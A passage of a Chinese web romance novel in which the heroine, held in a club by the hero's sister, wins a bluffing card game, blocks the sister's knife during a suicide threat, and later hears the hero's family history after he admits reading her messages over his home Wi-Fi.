邢葵伸手抱住周镜,属实受到不轻的惊吓,抱到熟稔的人,鼻尖发酸,颤抖着,眼眶湿润起来。妈妈,再晚一点她就要被强迫和陌生人接吻了。 “你还真喜欢她,看来我找对人了。”坐在沙发上的短发女在两位男模之间抬起手机,“她就是这张图上你抱的人吧。” 什么图? 邢葵闻声撇过脸,图片背景是飞燕商场一楼餐厅,是那天周镜抱她的场景,被偷拍了吗? “不会有错,就是她了。”短发女拉拉墨镜,扫看她和周镜,嘴角扬起冷笑,尖尖的下巴抬高,指向躲到一旁的宋弘宇,“你们该分手了,刚才你进来没瞧见她和那男的亲嘴?” 方才那角度,从外面看是像接吻。 邢葵仰头想解释,周镜温热瘦薄的手掌落到她头顶,摸了摸,又擦掉她眼边的泪,俯视她的双眸书写温和:“什么都没发生,我们回去洗洗就好,乖。” 早些时候周律师应当在上庭,外套穿的笔挺西装,邢葵还是头一次见他穿西装,优雅得体,跟那几十个男模比完全不是同一档次,她弯起泪眼笑开。 骤然,短发女下撇嘴角,抓过薯条盘砸向两人:“我准你谈恋爱了吗?周镜。” 砰!盘子在彩光照射的墙上四分五裂,周镜将邢葵揽在身后:“你胡闹什么,周梨。” 他个子高,虽然清瘦,但也比邢葵宽,一下将她挡得严严实实,仿佛一根定海神针。 周梨?邢葵揪住周镜衣裳偷瞄,感觉短发女的名字有点耳熟,貌似在哪儿听过。 “我们走。” “你们走得掉吗?” 好经典的影视剧台词。 包厢打开的门那儿,一群黑衣人鱼贯而入,将她和周镜围困,周梨坐在沙发上,弯腰,抽出桌子下方一个方形纸盒,“来了我的场子就该听我的规矩。” 邢葵好奇地望着周梨拆盒子,周镜一动不动地护在她身前,进会所前,他将地点发给了厉乘川,包厢内外至少一百名黑衣保镖,邢葵的腿不方便跑,单单两人难以闯出,他须得等厉乘川过来帮忙。 “你想做什么?” 周镜一发问,邢葵便听出他想拖延时间,赶紧打辅助追问:“是啊,你想干嘛?” 两人一唱一和,直让周梨嫌弃拧眉,涂着黑色甲油的手推开两旁男人,拢拢白皮草外衣,从盒子里取出一摞纸牌,黑金色,比一般的扑克牌要大一圈:“我们来玩玩游戏吧,最终赢家可以要求输家做任何事。” 邢葵和周镜需要拖延时间,互望一眼,同时同意。 这是一款前几年流行的卡牌类“真话or假话”游戏,经由会所本土化改编,常用于助客人取乐。 四人游戏,一局总共二十张牌,六张暧昧牌,六张接吻牌,六张燃情牌,两张万能牌。 开局二十张牌会打乱,发给每人五张,以某种牌为打出牌,无论玩家手里有没有 ,都必须声称打出的牌为规定打出牌,每轮可打出一至三张。 万能牌可等同于打出牌。 比如,暧昧牌为打出牌,玩家A手里有1张暧昧牌、1张万能牌、4张燃情牌,等于玩家A有2张暧昧牌可打。 每轮玩家出牌后,下一位玩家可提出质疑或继续出牌。 质疑成功,被质疑玩家接受惩罚;质疑失败,提出质疑玩家接受惩罚。 仍以暧昧牌为打出牌为例,假如玩家A没有暧昧牌或万能牌,却打出其他牌撒谎,玩家B若质疑,则玩家A受罚;假如玩家A有一张暧昧牌且真诚打出,玩家B若质疑,则玩家B受罚。 受罚后重新发牌。至于如何受罚,纸盒里还有四把枪,每把枪内填充六颗液体弹,其中五颗装的牛奶,一颗为辣椒水,玩家受罚时喝到牛奶可继续游戏,喝到辣椒水淘汰出局——邢葵觉得万分恶趣味,强烈要求将牛奶换成清水。 周镜:“辣椒水也换掉,她在忌口,不能碰辣的,只要有颜色和清水区分就行了吧,换成草莓汁。” 会所经理抓抓眉毛,行,尊客要求,哪敢不从,你们这样玩一点都不燃情。 一张方桌被抬进包厢,游戏必须四名玩家,周镜、邢葵、周梨只有三个,新人男模宋弘宇被赶鸭子上架,缩在角落自闭。 邢葵同情地接近他,人家只是想搞钱的贫穷男大:“没听懂游戏规则没关系,瞎打就好。” 宋弘宇微怔,听着她的关心,心里悸动止不住:“你放心,我很擅长这个,和同学玩过类似的。”他望向站在蓝色灯光下矜贵非凡的周镜,因为见到周镜而受伤的自尊心突然回归。 长得比他俊美又怎样,他能在牌桌上打败他。 邢葵缩回周镜身边,超小声:“他说他很精通,不会吧,不会就我不会玩吧。”还以为有人能跟她结伴狼狈,可恶! 倒不是她笨,游戏规则她听明白了,但明白游戏规则消耗掉了她所剩不多的精力,等玩的时候受伤的大脑肯定会转不动,可恶!欺负伤患! 周镜平静脸:“我也没玩过。” 邢葵惊喜睁眼。 周镜摁着她双肩,让她坐下,“别走来走去,赤着脚也不怕伤着。” “嘿嘿。”邢葵笑了两秒,又收住笑,“不对啊,我们都不会输了那可咋办啊。我还想赢了出去,输了的话要被要求做事。”她招手让周镜弯腰,抻长脖子套住他耳朵,“我不想亲陌生人。” 周镜睫毛轻颤,温和地推离她:“我不会这么要求的。” “啊?”有自信是好事,服务员送来邢葵点的番茄意面,她拿起叉子,“要是周梨赢了呢?” “她会逼迫我跟你分手,但我们本就没有在一起不是吗?”周镜定定地望着她,温柔的眼神让邢葵想起上学时鼓励学生勇敢回答的老师。 琢磨了下,她高兴道:“对欸!你好聪明!这样我们根本不用在意输赢,尽量输慢点等待你的援军到就好。” 周镜沉默,移到旁边坐下。 江玉鸣从他家走的那一晚,他也是这般沉默,呃,她说错什么话了吗?那天她没说什么啊,就是让他别介意她听到他有过去什么的。 “周梨是我妹妹。” “欸?”邢葵震惊不已,差点跃起来,谁家妹妹带哥哥女朋友逛会所选男模啊!谁家妹妹带一百个保镖包围哥哥啊!她讪讪,“你妹妹挺有个性。” “她不止恨我,她希望周家所有人都过不安生。”周镜看着她,金色镜框后又是那种老师激励学生对答的眼神,“你不好奇发生了什么吗?” 好奇,代表着想要深入了解一个人。 邢葵低头卷起一叉子意面,囫囵塞进嘴里:“你家私事透露给我不太好吧。” 周镜面无表情:“我伸舌头的时候你没告诉我不太好。” 邢葵瞬时脸颊烧红,瞄瞄他,不敢和他对视,她听说,律师上庭陈述时,如有必要,什么羞耻的话都能说,她现在的感觉就像坐在被告席:“这哪儿是一码事,从江医生走后你就在介怀什么啊。” “不告诉你。”周镜没有解答,“周梨回来了。” 周梨去洗手间补了妆,墨镜红唇,犹如接下来要上战场,看得邢葵心里砰砰打鼓,提出游戏的周梨必定胸有成竹胜券在握,真怕五分钟就将他们全都击毙。 看看落座的宋弘宇,她不自觉露出祈求眼神,盼望这位声称很擅长的男大学生能和周梨斗一斗。 周镜蹙了下眉头,余光一睨宋弘宇,拿起身前五张卡牌,径直打出两张:“两张接吻。” 卡牌扔到桌面,邢葵速速收回注意力,投注到游戏上。 第一局,接吻牌为打出牌,玩家顺序按座位顺时针为周镜、邢葵、周梨、宋弘宇。 邢葵望着手上的牌,2张暧昧、2张燃情、1张万能,好耶,只有一张牌属于打出牌,真厉害的手气! 先打一张杂牌吧,这才第一轮,下家应该也会保守一点不质疑。 邢葵推出一张燃情:“一张接吻。” 周梨:“质疑。” 邢葵:“?” 周梨掀开她桌面的牌,瞄了眼,拿起装载六颗弹的玩具枪:“你输了,张嘴。” 她错了,妹妹是激进派。 还好她中的弹是清水弹,邢葵擦擦嘴,展开她第二局的牌,3张暧昧、1张接吻、1张燃情,暧昧牌为打出牌。 周梨先手:“一张暧昧。” 宋弘宇抵唇想了会儿:“一张暧昧。” 周镜扔出两张牌:“两张暧昧。” 轮到邢葵出牌,她有三张暧昧,按照周梨上一局激进的打法,她或许该一张一张地打暧昧,苟三轮等其他人输? 桌子下面,一只穿皮鞋的脚从左边过来,轻轻地踢到邢葵小腿肚,一下、两下、三下。 邢葵绷住小腿肌肉,是周镜么?他在提醒她?踢三下啥意思?让她出一次性出三张牌? 鞋尖竖着一划,竖……暧昧、接吻、燃情、万能,只有“暧昧”的“暧”字第一笔是竖。 周镜让她打三张暧昧?他怎么猜到她有三张暧昧,可她就三张暧昧,万一打出来后周梨不质疑,她后面很容易输啊。 犹犹豫豫片刻,邢葵最终决定相信周镜,试上一试,取出三张能苟命的牌。 周梨:“质疑。” 邢葵:“?”妹妹,你真敢质啊。 她咧开嘴,举起周梨桌前玩具枪就冲她崩了一下,清水冒出,“你输啦。” 第三局,周梨不质疑,打假牌被宋弘宇质疑,宋弘宇胜,周梨剩子弹四枚。 第四局,宋弘宇打假牌被周镜质疑,宋弘宇剩子弹五枚。 …… 第八局,周梨剩子弹两枚,宋弘宇剩三枚。 邢葵举着第九局的牌,从容撩了撩头发,除了第一把,她没再输过一局,哎,宋弘宇周梨不是会玩嘛,怎么这么菜,轮着输。 不过两人运气还挺好的,都没被草莓弹击中淘汰。约莫第四局起,宋弘宇也在桌下踢邢葵,但他踢的动作背后含义似乎和周镜的不同,邢葵没能理解他的意思,只好无视。 原本信心满满能赢的周梨凶狠地瞪着邢葵,她有几次输都是因为她。 别看我啊,都是你哥教的。 邢葵心里泛虚,下意识腿往后收,哪知道这时桌底下周镜和宋弘宇都要踢她。 失去邢葵腿肉阻挡,来自左边的周镜皮鞋和来自对面的宋弘宇皮鞋撞在一起,二人同时愣住。 造成修罗场的邢葵还在喜滋滋看牌,这轮她运气特别差,一张打出牌都没抽到,但相信周镜能化腐朽为神奇,率领她大杀四方,周律师咋还不踢她? 噢,好像……邢葵倏地低头,看到两腿抬着、两鞋撞着的画面,一惊,条件反射地伸腿把周镜的腿勾过来:我的腿在这儿,在这儿,别踢错了! 周镜抓着卡牌的五指一紧,邢葵,你,幸好勾的是他的腿。 他抬起萧疏眉眼,清清冷冷睨了睨他连姓名都没问的男模,早就察言观色发觉对方在底下的小动作。 这种游戏需求算牌能力,更看重心理博弈,周镜没玩过,但他压根不放在眼里,拖延时间罢了,否则游戏早就结束了。 周镜瞥了眼腕表,该是时候淘汰不知名男模了,老踢邢葵的腿,也不知道有无轻重。 看向邢葵,动了动腿:别钳他的腿钳那么 紧,先松开,这会儿有事。 第26章 第九局,宋弘宇输。 第十局,宋弘宇输,吃到草莓弹,淘汰。 第十一局,周梨输,吃到草莓弹,淘汰。 “好耶!”昏暗的包厢内,草莓汁溅出,邢葵心里喜悦也烟花似的炸开,隔着西服袖,抓住周镜两腕,直晃,“我们能回家了!你好厉害,需要夸,必须夸。” 她的笑容,让人想起灿烂的太阳花,看着看着就容易溺陷。 邢葵对面,宋弘宇头晕目眩,不敢相信他在擅长的事上败北,他会算牌懂心术,怎就败给了周镜。 旁边周梨身上套的白皮草都在发抖,她清楚这种游戏注重心理博弈,她就是想在周镜的长处上打他脸,结果,她玩过不下千次,居然惨败给头一回玩的新手。 周镜荣辱不惊地起身,外面已然传来了打斗动静:“我们回家。” “好。”邢葵松手,援军到啦,该跑了,她站起来,腿不争气地一麻。 能靠自己站稳,岂料,手撑住桌面,还没扶稳,一只抹黑色甲油的手从右迅猛伸来,快到周镜赶不及拦阻,扯住她的小臂和头发,愣是将她拽到右边。 “谁准你们走了!”头皮被周梨拽得发疼,邢葵仰着头,揪着五官往后撇,刀片的光芒晃过她的眼。 恼羞成怒的周梨不知从哪儿掏出了一把美工刀,不至于吧妹妹! 邢葵脖子一紧,这时,包厢门和一位黑衣保镖同时摔进屋内,保镖哀嚎声中,敞开的门口冲进来两个人:一个黑西装宽肩窄腰,是厉乘川,还有一个军绿棉服浓眉大眼,欸?这不是她恩人? “周梨你敢!”厉乘川和许野冲到周镜身边,在锋利的刀片胁迫下被迫止步。 “我当然敢,我又不会伤她。”周梨拿着刀子,竟落到她自己脖颈。 “精神伤害也是伤害。”周镜用力地捏起拳头,音线几不可觉地波动,“她颅内有伤,受不起刺激,放开她。” “放开她你们就跑了!”周梨拿刀抵着脖子,嫌弃起邢葵,“你怎么既丑又菜,忍着,我威胁一下周镜,等会儿就好。” 邢葵:“……”好诡异,感觉她可能没性命危机,但周梨拿着刀她不可能不怕,而且,“你能不能别拽着我头发,我怕变秃子。”她怯怯地和周梨打起商量。 周梨抿着唇看她,墨镜黑黑的,瞅不见眼神,整得邢葵怪心慌,体贴地提建议,“你可以摁我的肩,反正我菜,你一只手就能控住我。” 她说完,周梨抬起刀尖,刮了刮额头,额角几根碎发飘落,她双眉凶狠一压:“你住嘴,这场戏我是主角!” 邢葵委屈巴巴,不敢再吱声,你有刀你是皇,她只能不停踮脚,以减轻头皮传来的扯拽感。 脚下只有一只拖鞋,还因为适才周梨猛拽落到了一边,两只竭力踮起的脚白皙瘦弱,脚背因为用力青筋纵横。 厉乘川黑眸凌厉:“让你换位置就换位置,你手断了动不了吗?” 许野忍不住也说:“你干嘛凶她。” 周镜捏紧拳:“周梨,她尽力在配合了。” “住口!住口!住口!都说了我才是主角!”尖利的嗓音响荡包厢,周梨神经质地将刀压在自个儿脖颈,“周镜!我要你和她分手,否则我死给你看!” 不是兄妹骨科不是三角恋,周梨透露出来的感觉,像单纯见不得哥哥不孤独终老。 周镜看向厉乘川,厉乘川胸膛极微小地起伏了一下,沉着启唇:“是误会,你做事前脑子喂狗了吗?” 周梨嘶喊:“我眼睛又不瞎!”刀尖压陷她脖颈皮肤,已经刺出一点血珠,“分不分?周镜,你别忘了你们周家人对我做了什么,你们不配幸福,你们杀死了我妈!” 邢葵踮着脚,声音从她左耳进去,她努力将它们从右耳抛出,有道是,知道秘密的人死得快。来救援的三人都未报警,意味着周梨不是穷凶极恶的人,她熬一熬就好。 “你们杀死了我妈!不分手的话我就自杀,我带着你们所有姓周的一起上新闻!” 周梨越说越癫狂,鲜血沿着脖颈流下来,蹭到白色皮草,淌进丝绒黑裙里。 新闻……邢葵好像在新闻上看到过周梨这个名字。 刀芒闪过邢葵眼帘,周梨目眦欲裂,发疯到极点,竟不等周镜应答,失去理智径直抬刀。 难以遏制的恐惧瞬间在邢葵脑海鸣响,染血的刀刃划过空气,划断她脑里震颤的弦,别想不开啊!肾上腺素飙升,她抬起手。 “邢葵!” 长且薄的刀刃刺进肉,等意识到时,邢葵已经用手拦住了周梨扎向脖子的刀,那只手本就因车祸伤痕累累,结痂才脱落不久。 周梨吓了一跳,猛地拔掉刀,鲜血从邢葵掌心溅出,溅到周梨黑色的墨镜上,她人也好似被点穴般呆住。 妈妈,好痛,邢葵想道。 电光火石间,一道人影抄起邢葵往外面冲,她都没反应过来,脸颊撞着军绿色衣服,周边环境突然就由暗转亮。 “你跑得好快哇。”邢葵仰头赞叹许野,都忘了手掌的痛楚。 抱着她的是许野,身后周镜和厉乘川正在联手阻拦追上来的保镖,长腿一踢一个,酷帅无比,也在跟来。 贴在她腰上的手十分有劲,离开包厢后的灯光是暖黄色的,照在许野小麦色皮肤上,他年轻的脸庞呈现不自然的红:“厉哥叫我来就是干这个的。” 他跑得快又力气大,适合抱着邢葵跑。 厉哥?许野也是厉乘川兄弟?等等,那许野说的,那位吃饭前要人先做体检的兄弟…… “疼不?”褐瞳扫向她汩汩流血的掌心,许野说话嗓音还是跟邢葵印象中一样凶。 “还好啦。”本该超痛的,但意外出现的许野转移了邢葵注意力,望望前后左右,觉得能用作自媒体素材,“你带了手机吗?我想拍几张照片。” “在衣服里,你拿。”许野奔跑着,抽不出手,“解开拉链,在左边。” 棉服外面也有口袋,不过手机放那里跑步容易掉,所以许野放在了里面,邢葵征得他的同意,伸手解起拉链。 链条呲啦下移,棉服下是区区夏季T恤挡不住的蓬勃肌块,热量几乎扑面而来,邢葵有些胆怵地伸进去手,往左摸索。 这里摸摸,那里摸摸,谁设计的T恤,怎么还有纽扣,刮蹭她的手背。 “不、不是你的左边,是我的左边。”许野话音带上粗厚的喘,眼眶发红地看她,是因为跑步吗?讲话都提不上气,晶莹的汗珠覆盖他的额头,蔓延脖颈。 右边也有纽扣,可能嫌她动作太慢,邢葵拿出手机的时候,许野看她的眼神如一头野兽,她瑟缩,迅速拍了几张会所内景、录了几段视频,恭恭敬敬将手机原路还回。 “等回去,麻烦您转发给我,哦不对,你把我删了,那麻烦您发给周律师。” 她怎么知道他将她删了? 她联系他了是吗? 许野喘着气,胸前涩痒,在会所门口厉乘川的车旁放下邢葵,送她进车后排,狠狠吸了口外面冷空气,太冷了,冷得眼睛发酸。 “走。”周镜和厉乘川相继跑出会所,看到邢葵坐车后面,本能都挤进车后。 周镜先一步,坐中间,厉乘川后一个,关门,透过窗户喊许野:“许野开车!” 邢葵在思考:“他有驾照吗?” 周镜:“年前拿到的。” 厉乘川:“正好练练。” 许野:“……”大冤种既要被勒令删掉邢葵,还要给邢葵和两位哥哥当司机。 黑色车辆疾驰在马路,数不清的保镖在后面追,开着各种各样的车,好像拍电影,特别适合发自媒体,邢葵又想借手机。 刚动了一下,还在流血的手被逮住,厉乘川隔着周镜看她,眼神沉沉:“你不要命了!去挡刀,周梨隔三差五都要演一回,根本不 会自杀!” 那她哪知道嘛,肯定以救人为先,厉总气场如此压迫,在谈判桌上想必无往不利吧,邢葵试着抽回手:“不管怎么说,我都不能让她扎脖子,扎脖子真有可能会死。” 厉乘川双瞳黑沉,遏制着怒火:“忘记她扯你头发的疼了?” 邢葵放软语调:“我记得呢,可是那不一样,她扯我头发以后我狠狠扯回来就好,生命到底是生命啊。” 她品性如璞玉浑金,这件事她做得也对,一辆车里前后三个男人都盯着她,皆偷偷隐藏情绪。 厉乘川张嘴,又闭嘴,他不在乎别人性命,他只在意她。 瘦弱的掌心向上摊开,被厉乘川抓着,横在周镜的腿上空,赤红的血液在苍白的掌面聚积,又沿着代表感情线的掌纹滴落到周镜裤上。 伤口不算大,毕竟是美工刀不是菜刀,扎得也不深,万幸。 直到此时,周镜握攥很久的拳头才松开,恢复流通的血液驱走指节青白,他两手抬起,分别抓住邢葵和厉乘川两腕,扯断两人连接:“先去医院。” “别了,我想回家,这一天够折腾的了。”想念家里的床,“家里有消毒的什么吧?” “抱歉,连累了你。” “没事啦,意外找上门也没办法,再说——”邢葵趴到窗边,看着窗外流动的街景,回想今日经历,被绑架、挑男模、差点和男模接吻、打牌、逃生……不好意思地露出甜美笑容,含糊自语,“还挺刺激的。” “你说什么?” “我说——”邢葵手放到嘴巴边,脸没有血色,却精神振奋地冲窗外大吼,“还挺刺激的!” 深夜,月光昏暗,觉得刺激的邢葵发起高烧。 她都不记得她是怎么出的被窝,大脑浑浑噩噩,如同装了好多活着的水母,又像是被某种很黏的鱼类侵入,想吃药,不知道药在哪儿,只能去找周镜。 他的房间门没锁,他的被子好暖和。 “邢葵?”没睡很深的周镜坐起来,接住倒到他身上的她,手探到她额头,受了惊又吹了风,额头温度滚烫如火,周镜不敢停缓,立刻要下床取药。 “冷。”邢葵迷迷糊糊环紧他的腰,像一只雨夜里需要妈妈的小兔子,发颤的睫毛湿润。 周镜俯低上身,靠近她,将温柔的话音送进她沉重的脑袋里:“我要去拿药,很快回来,松松手,你乖啊。” 她没回答,但蹭了蹭周镜腰,环在上面的手臂微松。 几分钟后,周镜带着药和水一起返回,屈膝蹲在床边,捞过邢葵脑袋:“来,张嘴,好……咽下去……好,再喝口水。” “咳。”邢葵被呛着,咳嗽了几声,药味、薄荷味……浆糊般的意识轻裂缝隙,她颤着眼皮睁眼,室内没开灯,月色昏昏,未戴眼镜的周镜进入她的眼里。 好清贵的一张脸,有人说,眼镜会给颜值加分,也有人说,眼镜会遮挡颜值,但周镜戴不戴眼镜,都俊昳如一。 “周律师?我、我这就回房。” 一只手轻轻摁上邢葵的肩:“别动,好好休息。” 昏暗的月色里,周镜神态柔和,眉宇间揪着小褶,像是歉疚,许是将她发烧归咎到了他身上。 “你别有心理负担。”邢葵满脸病气,虚弱,仍要扯起积极的笑,“我都说了,意外是防不住的,我是险些死掉的人,我很能理解这句话。” 周镜蹲守在床边,深邃卓越的眸子闪过微妙情绪,薄唇微张:“周梨她……” 邢葵一怔,提起被子缩进灰色被窝里:“我想睡觉了。” “邢葵,出来。” “周律师,不用跟我说你家的事,我不会戴有色眼镜的。” “出来。”被褥扯到邢葵肩颈,蜷缩的人正捂着双耳,周镜起身,抓住她的两腕,跪到床上压住她,“你不想听,不想真正进入我的世界,只想泡我,世上没有这种好事!” “我……欸?”邢葵愣愣,跪在她身上的人穿着灰棉睡衣,五官卓绝,乌黑的碎发下一对黑眸如渊,“你怎么知道我想泡你?” 周镜动了一下唇角,这还是邢葵第一回见到周镜对她笑,是一个极力克制愤怒的冷笑。 别笑啊!他什么时候知情的! 笑意消失,周镜流畅的下颌线下,喉结滚动,他优越却时常透着距离感的眼睛定定盯着她,翕动薄唇:“邢葵,你连了我家的Wi-Fi。” “我连你家Wi-Fi咋了?”邢葵疑问。 “这代表,你和江玉鸣发的每一条信息,我都看得见。” 周镜扣住邢葵两腕的十指收紧,目光灼灼,逐字强调,“每,一,条。” 第27章 什么!周镜一直能看到她和江玉鸣的传信?! 邢葵惊恐张嘴,后脑勺抵着枕头,陷入呆滞。 螳螂捕蝉黄雀在后,究竟谁是螳螂谁是黄雀,谁在大气层? 稍等,容她长一下脑子!算了,她负伤又发烧能长脑子那叫医学奇迹,人生在世要学会和自己和解,邢葵鼓起勇气,撇过头,闭眼摆烂。 不就是被周镜发现她私下和江玉鸣的往来,小事情,毁灭吧。 “别乱动,都出血了。” 周镜压在她身上,灼热的指腹抚摩她的手腕,先前她那只被刀刺中的手掌包着纱布,正轻微渗血,“我不是从你来我家第一天就监控你,是那日江玉鸣来访后,我担心你受他蒙骗,才查了查。” 他算是推理出来的,邢葵和江玉鸣的联系通常是语音通话,纯文字的交流不多。 邢葵诧异撇回头,周镜清隽的正脸入眼,让她想起月白风清的湖边,杨柳依依,湖面银波粼粼,湖心天鹅伸展羽翅,优雅、使人瞩目。 她被惊艳,顿了顿:“所以你从第二天起就不亲我了?你是介意我想追你吗?我也是第一次主动追人,可能做得不好,不好的地方我能改进的。” 那她和厉乘川,是厉乘川主动追的她吗? 周镜松开她,坐到她旁边,一只手搭在弯曲的长腿,一只手半遮住犹如墨描的眉眼,富有垂坠感的睡衣勾勒他的躯体,瘦得恰到好处。 “你说话呀。”邢葵稍稍仰起脖颈,高烧引起畏冷,周镜身体散发着暖和的气息,但她此时不敢太贴近,独自抠着枕头布料。 她又不差,即使身上有一些debuff,她也不差。周镜亲她的时候不是挺乐意的嘛,怎么这会儿就…… 邢葵费劲抬高脑袋,去瞅周镜手遮挡下的表情,颇为怪异,复杂得像在演一出八点档狗血大戏,至少得是《有夫之妇出轨对象是我》这种狗血程度。 周镜撇眼望来,邢葵受惊又脱力,兀地下摔,沉闷一声,软绵绵的脸压到他一只大腿。 脸下腿肉瞬间搐动,热量也同时透过睡裤布料从脸传递,邢葵眨眨眼,她冷得嘴巴打颤,很喜欢这温度,但还是要离开。 “别动。”周镜忽然用手摁住她,深长的呼吸自颅顶响起。 脸上是周镜干燥又灼热的手,脸下是周镜热量高涨的腿,一上一下,两面夹击,邢葵耳朵发痒,舒服是很舒服,她这会儿真怕冷,但是,就是说,这姿势,好羞耻。 她想挪。 “别动。”周镜再次重复,语气透着几分无奈,单手撑着额,黑色碎发下,耳尖静悄悄爬上粉红,他这几日不是在介怀邢葵在追他这件事,而是在想别的。 发现秘密后,某些情绪在一刹那间同时蹦出周镜心房,惊愕、欣喜、似乎答案早在意料之中,以及,想去敲门拜访厉乘川、在他面前讲一讲炫耀的冲动。 它们出现的速度之快,让周镜明确意识到他对邢葵动了心,也让迟来的对好友的背叛感如蛆附骨。 周镜一个人待在书房,拿着纸笔,一件件梳理遇到邢葵后的经历,他的动心可 能是在交警大队外开始,那时邢葵恳求他向厉乘川隐瞒车祸真相,她就在他心里洒进了种子。 后面用力亲吻邢葵,是周镜潜意识在阻止种子发芽,其他原因都是想抵抗心动的借口。 兄弟妻,不可欺。 可与背叛感同时迅猛滋生的,还有一股不甘。邢葵根本不想深入了解他,她不好奇他的过去,她只是,相当浅薄地想和他肌肤接触,但她待厉乘川怎么就不同? 今日在车里,厉乘川隔着他抓邢葵的手,特别碍眼。 怎么邢葵就能喜欢厉乘川到结婚,待他的态度只停留在表面? 方才周镜冷笑也是在气这个,他才说到周梨,邢葵就打断他要睡觉,他伸舌头的时候她不会打断,这会儿倒是会了。 “二十世纪时,国外曾有一对同卵双胞胎——” “可以不讲吗?” 看,这种时刻她特别会打断。 高温烧得邢葵稀里糊涂,但她听见周镜的话,立刻阻止,不行,不能讲,“周律师,我,我追你,我目的不纯,你别告诉我太多,对你不公平。” 隐藏在追求周镜背后的深层目的,是假结婚啊,她又不打算真正结婚,如何能够越过皮肉真正进入周镜的世界。 别告诉她,别告诉她。 不想对不起你。 唇瓣张张合合,每一句话都往周镜腿上送去一道热气,腿部肌肉控制不住地绷紧,周镜喉结下滚,黑眸中水波不能平静。 厉乘川就住在房子对面,而他却将好友曾要结婚的对象压在腿上,甚至脑海中叫嚣着想要更多。 周镜摩挲她的脸庞,可能是因为高烧,可能是因为他,苍白羸弱的脸颊有了热度,手感很好。 月光制造着影子,将两道重叠的身影投在曾经只有周镜的床上,月色昏昏,人也昏昏。 “公平不是你一个人决定的。 你目的不纯。 你不想越界。 但我想。” 宛似魔咒的嗓音中,覆在脸颊的手缓缓移动,如同薄纱自落,自己偏要露出庐山真面目,最长的中指逐渐滑过邢葵唇线。 “所以邢葵,你让我强迫你越界,和你不单纯的目的抵消好不好?” 手掌猛不丁盖住柔软两瓣,周镜大力捂住了邢葵的嘴,不允许她回答。 薄荷香窜进鼻息,邢葵惊惶,眼睫颤了好几下,厉乘川的警告回到耳边,他说周镜危险藏于无形,招惹到他的人,会毫无防备地被将军。 她好像被将军了。 到底哪一步出了岔子!她攻略周镜不是通过渴肤症吗?手段就肤浅,结果不也该肤浅吗?为何周镜想要更多! “唔,唔。”因果关系错了,邢葵能将灵和肉分开,周镜不能,从头到尾都是因为,周镜早就为品格美好的邢葵心动,才会在和她的贴碰中深喘不止。 唇瓣与周镜的手掌作斗争,一下又一下,奈何邢葵无论怎么费力,都只能在分毫之间挪动。 她焦急,嘴说不了话,头又被控制抬不起来,慌乱中抱住周镜的腿,腿也压了上去,看起来像个可可怜怜的抱柱人,无助的瞳仁晕着水雾。 “邢葵,我忍得很辛苦,你再动看看。” 捂着她的嘴,又被她搂着腿,周镜在月夜中脖颈泛红,眸子聚焦又失焦,嗓音中某种潮涌正在被压抑着。 “你乖,让我讲完。”不容邢葵反对,周镜敞开他的内心,强硬地逼她走进来。 “二十世纪末,国外有一桩案子,犯罪嫌疑人是一对同卵双胞胎,他们具有极为相似的脸、极为相似的DNA序列,最终由于无法判定作案人是双胞胎中的哪一个,他们被无罪释放。 二十多年前,南州有人模仿犯罪,杀害了一位工友。” 二十多年前,周镜才几岁吧? 邢葵不能阻挡地听着,脸陷在他瘦却不弱的腿部肌肉里。 “当时我的爷爷是这起案子的法官,证据不足,即使所有人都清楚,凶手就在双胞胎之中,但爷爷只能判无罪。 凶手逍遥法外,死者遗孀为判决结果愤怒,躲开保护她的警官,带刀上门,逼凶手再次犯案,用性命换得凶手落网。 她留下一个小女孩,后来,我的爷爷收养了她,记在我妈名下。” 话说到这儿,邢葵了然,周梨就是那个小女孩,她将母亲的死怪到判无罪的法官身上,继而怨恨整个周家。 “我那时还在上小学,周梨总是喊骂,我听了进去,真以为是我们对不起她,因此糊涂了好一阵子。” 三观还未树立的小孩子容易受到声音大的人的影响。 “我看不进去书,听不进去课,周梨时常嚷嚷着希望我们全家都不幸福,我深陷迷雾,自甘堕落,十几岁更结识了一群狐朋狗友,学着抽烟、酗酒。” 所以江玉鸣说,周镜从前差点进少管所。 真看不出来啊,周镜还会抽烟呢,他家一点烟蒂都没有,酒倒是有,但都不是邢葵在酒席上看男性亲戚们干的白酒。 “别乱想,我十几岁就将烟戒掉了。”过往讲到这里已过大半,邢葵不想听也听得差不多了,周镜松开禁锢邢葵嘴巴的手,让她能更好的呼吸。 他有点茧的指尖轻柔捋开她额角碎发,“厉乘川现在还会抽烟,我不会。”虽然厉乘川也只是偶尔,几年一次的那种。 邢葵靠在他腿上,不明白周镜为啥讲着讲着要嘴一下他兄弟。 “那段时期的我确实很混帐,困于愚昧不自知,直到认识的朋友们沾染了毒……我举报了他们。 那天是个大雾天,到处灰蒙蒙的,我站在警局外,分不清我要去的方向。 一辆车驶到我面前,车窗摇下,厉乘川说,我还不算无可救药。然后,他将我关进了山里。” 什么?厉乘川囚禁了周镜?一股好奇从邢葵心里生出,张张嘴,但没出声问。 暖和的手掌抚摸她的后脑勺,清楚她会瞎想,周镜很快接着说,“那个时候我妈在山区支教,厉乘川将我送到了我妈身边。” 原来是这样,周镜的妈妈是老师呀。 “没有手机,我将自己锁在破旧的砖瓦房里,我妈并不迫我走出门,她只是每隔几日往房里送一本书,法律类的书籍。 我一本一本地读,方懂得‘宁可错放不可错判’的道理,理解爷爷当初的判决。 周家在判决中不欠周梨分毫,可周梨终归小小年纪就丧父丧母,家里也不忍心苛责,甚至多加保护,即便她成年后已经在法律上脱离了我家,我们仍认她是周家人。” 听上去,周镜的家人都是挺不错的人……药效上来,邢葵眼皮打起架,恍恍惚惚抱着周镜的腿睡着。 好像有谁移开了她的手,来到了她身旁,圈住了她。 温热的气息扑在她耳边:“厉乘川长我两岁,他比我早成熟。”他比我早遇到你。 “但我们最终定的型不相上下。”没人规定后来者不能追上前人,甚至乎超越前人。 “别只想泡我啊。”也了解了解我。 “葵葵。” 说什么呢他在,邢葵迷迷糊糊的,没听进几个字,奇奇怪怪,提什么厉乘川,她又不想泡厉乘川。 第二日早,高烧退去,邢葵神智恢复清醒,睁眼看到睡边上的周镜,蹑手蹑脚地溜下床,拿着床头柜上周镜给她拿来的手机,溜进卫生间,锁上门,大口喘气。 天呐,昨晚周镜居然强迫她听了他家的事,这违背了她的初衷,怎么办怎么办,不能跟江玉鸣讲,他大概喜闻乐见。 微信列表找不到一个能听她倒苦水的人! 手机嗡鸣,吼,谁在这时候给她打电话,【好骗,已骗二十五】,这不是之前那个骗子! 邢葵灵光一现,接起来:“骗子先生,我懂,你一定是想来跟我讨要人民币,但是你先别急,我正有要事,如果你答应听我说,我可以给你一百块,这回我真的会给钱。” 